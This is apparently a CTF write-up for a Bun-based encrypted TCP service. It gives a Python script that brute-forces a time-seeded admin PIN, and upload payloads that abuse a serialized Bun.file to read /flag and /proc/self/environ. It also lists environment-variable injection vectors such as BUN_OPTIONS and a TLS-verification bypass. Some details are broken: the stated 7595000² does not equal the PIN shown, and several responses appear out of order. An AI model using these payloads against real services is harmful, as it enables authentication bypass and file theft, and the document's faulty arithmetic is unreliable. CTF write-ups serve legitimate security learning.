Secure Communication (Advanced) - CTF Writeup
Challenge Overview
- Challenge Name: Secure Communication (Advanced)
- Target:
chal.polyuctf.com:35251(This is the port number I will reference throughout the writeup, this can be replaced with the actual port) - Category: Binary Exploitation
This challenge presented a custom TCP-based protocol using RSA-OAEP encryption and Bun serialization. The service featured multiple command handlers including authentication, file upload, and an update mechanism.
Initial Reconnaissance
Protocol Analysis
Upon connecting to the service, the following handshake sequence was observed:
- Server sends:
My Public Key: <base64 DER-SPKI RSA pubkey>followed byYour Public Key: - Client must send its RSA public key as base64-encoded DER SPKI format
- Server responds:
Public Key imported successfully. - All subsequent commands are encrypted using RSA-OAEP-SHA512
Command Structure
Commands follow this format:
- Client to Server:
base64(RSA-OAEP-SHA512(server_pub, base64(Bun.serialize(object)))) - Server to Client:
base64(RSA-OAEP-SHA512(client_pub, utf8_string))
Supported commands: register, login, ping, reset, start, upload, update, exit
Process Freshness Verification
Multiple connections revealed that the server public key changes with each connection, confirming a fresh process-per-connection model:
Connection 1: MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvQvaxYySQm+5154WmrjXcdZ42+bchyTXCkbxdiudVuVtHK87c7uI8RO9+AwTR9I9Rr1/vDcbGvJLH9FsWzg+vdJB++ZNDSlBa0RHXwgb6q3xxOW4kXsg674syMZM1lF+Jtg8SyKssTaF6VQ0cBQMF8JwMYiHgHpwu88GsLhXcC7CglCDaRPlgE6VMnv8woeYxwm1TfMNCahV7fRpzeYgJ9dT86Oi5VKOyqovgDVp9AoCJPptx0kX911RC9wSxXXCco6XXjiCEIRhK55r5hfZZIjyNk1xDdP0C/zOx5cUfmapzaAERkvdttwpF4P1r0wBGG70zJAvs2T1v6JBQRW9YqYKX9RuOBe5tjMM4vNAphFqxNT9T9Kq/8gAj9/qtv9p5wdUIzFGxW062CDiHKvrsL0YjYWVNInJA12t3VpKxbKTu1MGh5LZDoTdghOh5ueSzE9Y18lc/WPmczPKPfPzzl2ST3vPwI2QTNHclqZCBV/U+XgCkW2XBFLCC52AKk8cKDwi2WOmUP8rR2S6anrwxvbETfFZsbmbXkMZAL9p77joaDD1PkJ6ERVScoyD6tyOhWjISBR5Z00QfgUx8SFJHZ2hCxJys1tTyeB3N/YQ7DHebYtJaeosdVlpwf/kJ00Ll14zZuCz//w5BEAS4Kl5TYW88V4yVUeRVlhcL4KosuUCAwEAAQ==
Connection 2: MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0Ot9hpuFEBntD2Dr6j+1EspNdF7k2DdwLV2gUGQTFzBrpvYMfUZJvrWdS+TElMnPMQXrvoyDgyCaXaIyoqxleph8Z2QY57ys+xDD+/yNvpy/b4qfosoHN3cVsjPpqsQBbPi5vvzAkuTJ5YPpcPWriE4UudtvAi3MVtrqslrOblR3cn/3tiFM+xvtAtq3DOfQvCpciTQ9o9UQTqjf4HVE3OEwHwIsw05mcLLdvS9JnuirrPY6oA6i0dLOXgepdA1M5vClSbEFRR+0f2uwR48GHng4Ebr84x7FTrGXJKwmoUow7O/ab8+Bcoba4xuICYNgS1MhQSfkTQoFNcnEJHRnBgcpTzpXScpr0/IiU4jum8YPX6SEOx/VbK/xvT+fZU71MvZXrnfYSUPWx5VdNBOPOXdZUVOAdZa2VtiSviiB7d8TF0YmkbBfSaSEwaEecTr/cYb9hy9kQbRvwkNTxQB4IM0AD+d3mylmBLFocdwze/c+xMMzMQH1S6z6mnAFEyP3ESACNzJbaw4a6cycuNTTPeZ6YM4VxaYp5NWdJ+NGsPNdIyK8IvXtqShULRQmH0IjlSmWjtnmuww/zu8g9DhV0nqAZm/1t/mpLuyPKpf0kbfRhCh5S3m1rJrspqQsH6uGWtAywhpRdt4XMM/kN5tuRYgGcm/sXGHQYxz6rouZbekCAwEAAQ==
[... 3 more unique keys ...]
Result: unique=5/5
Vulnerability 1: Predictable Admin PIN
PIN Generation Analysis
The admin account PIN is seeded at startup using the following algorithm:
b = Date.now();
b -= b % 5000; // Round to nearest 5000ms bucket
pin = BigInt(b) ** 2n; // Square the bucket
This creates a predictable PIN based on the server's startup time. Since the process is fresh per connection, the PIN changes each time but follows a predictable pattern based on the current time.
PIN Calculation Strategy
The PIN formula: pin = (floor(Date.now() / 5000) * 5000)²
Key observations:
- The PIN is truncated to 64 bits:
pin & ((1n << 64n) - 1n) - SQLite stores this as a signed 64-bit integer
- JavaScript may interpret large integers as floats, causing precision loss
We implemented multiple PIN format variants:
- Unsigned 64-bit string
- Signed 64-bit string (for SQLite INTEGER readback)
- Scientific notation (JavaScript float representation)
Exploitation Script
def admin_pin_candidates(now_ms=None, span_buckets=3):
if now_ms is None:
now_ms = int(time.time() * 1000)
bucket = (now_ms // 5000) * 5000
mask = (1 << 64) - 1
out = []
for off in range(-span_buckets, span_buckets + 1):
b = bucket + off * 5000
pin = (b * b) & mask
# Handle signed/unsigned conversion
if pin >= 1 << 63:
signed = pin - (1 << 64)
else:
signed = pin
out.append((b, str(pin), str(signed)))
return out
Successful Admin Login
Using the same connection for timing estimation and brute-forcing:
>>> {"command":"login","username":"admin","pin":"5450944067092746240"}
Login failed. Invalid credentials.
[... 15 attempts ...]
>>> {"command":"login","username":"admin","pin":"5770153591192746240"}
Login successful. Welcome, admin!
PIN=5770153591192746240
The successful PIN matched the formula: bucket = 7595000, pin = 7595000² = 5770153591192746240
Vulnerability 2: Arbitrary File Read via Upload
Upload Handler Analysis
The upload command accepts an array of file objects with the structure:
{
command: "upload",
files: [{
name: "filename",
content: {
type: "text/html",
content: Bun.file("/path/to/read")
}
}]
}
Key vulnerabilities:
- Bun.file serialization:
Bun.file(path)survivesbun:jscserialization as a lazy path-backed Blob - Server-side write: The server performs
await Bun.write('/tmp/${name}', await i.content) - HTTP exposure: The
startcommand launches a static server on/tmp/
Attack Chain
- Login as admin (using predictable PIN)
- Upload payload with
Bun.file("/flag")as content - Start HTTP server to expose
/tmp/ - Fetch the uploaded file to read arbitrary server files
Payload Construction
{
"command": "upload",
"files": [
{
"name": "f1html",
"content": {
"type": "text/html",
"content": {
"__bunfile__": "/flag" // Custom serialization marker
}
}
}
]
}
Reconnaissance Uploads
Before targeting the flag, we verified the primitive with system files:
Command line leak:
Payload: Bun.file("/proc/self/cmdline")
Result: /usr/libexec/qemu-binfmt/aarch64-binfmt-P/chal/chal
Environment leak:
Payload: Bun.file("/proc/self/environ")
Result: PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=41230eebb0ceHOME=/rootREMOTE_HOST=172.17.0.51
Exploitation: Reading the Flag
Step 1: Admin Authentication
My Public Key: MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAsbSlurTQDE5vH4Vt8pPXTsi0EFNYo0145sXoR6NspWdYKNBE+L8Q6rUJliZtd73qRLgWrvnFy4JlCG0MSvwRYMMQJWoFmZe5PU01PPtuTtG2O9l6obdNX2kAURtHjlf0WY7DNY0kdUkThIK5uKSEOKPfr0+Lro7IVMqNjaC3HIFhTI6LLckb4ua4dCH/br/cOk7IY9gnT0S11r8r0cM/KE+N3ITtQ5xwlTxKRmAVpLgeo5ObfiqJCU2dSjOpY7LY0so5Bhg6z8iBvCMVlzR2tp1VqHBILXrVyilB70ND/360l88xZU4xyeZusJs6ReZA7yhDsZkPVQbfA1ZjosS2QEP/gRsRxIy1t/0ZYjTLyhjoLywmwPzw2MgKRMbl95goYJo0mO4puZIBFHv6c5Iqgs68hPeOjMhz8MarWcr9nR5M0DponTxEbNUfoTHjWiFAkde6frxz7cQxrJUQw90cUPUW3UzyY2p+IgioXY1Gz9d00t+3rjVjF6YVb53rvujB8GULalC9QJNAVN25/X5Qmt/c2xHPlY/eMjlGm67PHKvLtR5wVT5rHHs6FPdn+thc/b/bBhU0zteIMcBZTjiLPPQh9sJV/ewRdMIVPPTIN1iMIA+mhfqmS8oXn0q1OZ2ylLxdSLeCqRmhtbwNcV3FIsG0frAgNJfJMQMAepm2wXkCAwEAAQ==
Your Public Key: Public Key imported successfully.
>>> {"command":"login","username":"admin","pin":"8820378749592746240"}
Login successful. Welcome, admin!
PIN=8820378749592746240
Step 2: Upload Flag Payload
>>> {"command":"upload","files":[{"name":"f1html","content":{"type":"text/html","content":{"__bunfile__":"/flag"}}}]}
Received message: {command:'upload',files:[{name:'f1html',content:{type:'text/html',content:{}}}]}
Step 3: Start HTTP Server
>>> {"command":"start"}
File uploaded: f1html
Step 4: Fetch the Flag
HTTP Request:
GET /f1html HTTP/1.1
Host: chal.polyuctf.com:35251
Connection: close
HTTP Response:
HTTP/1.1 200 OK
content-type: application/octet-stream
content-disposition: filename="f1html"
content-length: 59
Date: Fri, 13 Mar 2026 07:32:40 GMT
PUCTF26{t8p_h77p_t0g5t2e9_3kh6xYNlHXC21hPHHt2R80pbJXKZBE6X}
Alternative Paths Attempted
Update Path (Not Required)
The update command spawns a child process with attacker-controlled environment:
Bun.spawnSync({
cmd: [process.execPath, 'update'],
env: e.env || process.env
})
Potential vectors explored:
BUN_OPTIONSfor command injection (confirmed working locally)HTTPS_PROXY/HTTP_PROXYfor traffic redirectionNODE_TLS_REJECT_UNAUTHORIZED=0for TLS bypass
While this path showed promise, the file upload vulnerability provided direct flag access.
Path Variations Tested
Multiple flag locations were attempted:
/flag✅ (success)/flag.txt❌ (not found)/chal/flag❌ (not found)/chal/flag.txt❌ (not found)
Tools and Scripts
Protocol Client (client.py)
Key features:
- RSA key generation and DER SPKI encoding
- RSA-OAEP-SHA512 encryption/decryption
- Bun serialization via
bun:jschelper script - Admin PIN brute-forcing with timing synchronization
- Session management for multi-command sequences
Serialization Helper (bun_serialize.js)
Custom Bun serialization supporting:
- Standard objects
Bun.file()paths (via__bunfile__marker)BlobandFileobjects- Uint8Array binary data
Conclusion
This challenge demonstrated a multi-stage exploitation chain:
- Cryptographic Protocol: Custom RSA+OAEP+Serialization required building a compatible client
- Logic Flaw: Predictable PIN generation based on system time
- Type Confusion: Bun.file objects surviving serialization as readable file handles
- Path Traversal: Upload handler allowing arbitrary file reads from the server filesystem
Flag: PUCTF26{t8p_h77p_t0g5t2e9_3kh6xYNlHXC21hPHHt2R80pbJXKZBE6X}
Lessons Learned
- Time-based seeds in multi-tenant environments can be predictable when processes are ephemeral
- Serialization boundaries don't always sanitize complex objects (Bun.file maintains path references)
- Lazy evaluation in file objects can lead to server-side request forgery (SSRF) style vulnerabilities
- Defense in depth: File upload handlers should validate content, not just metadata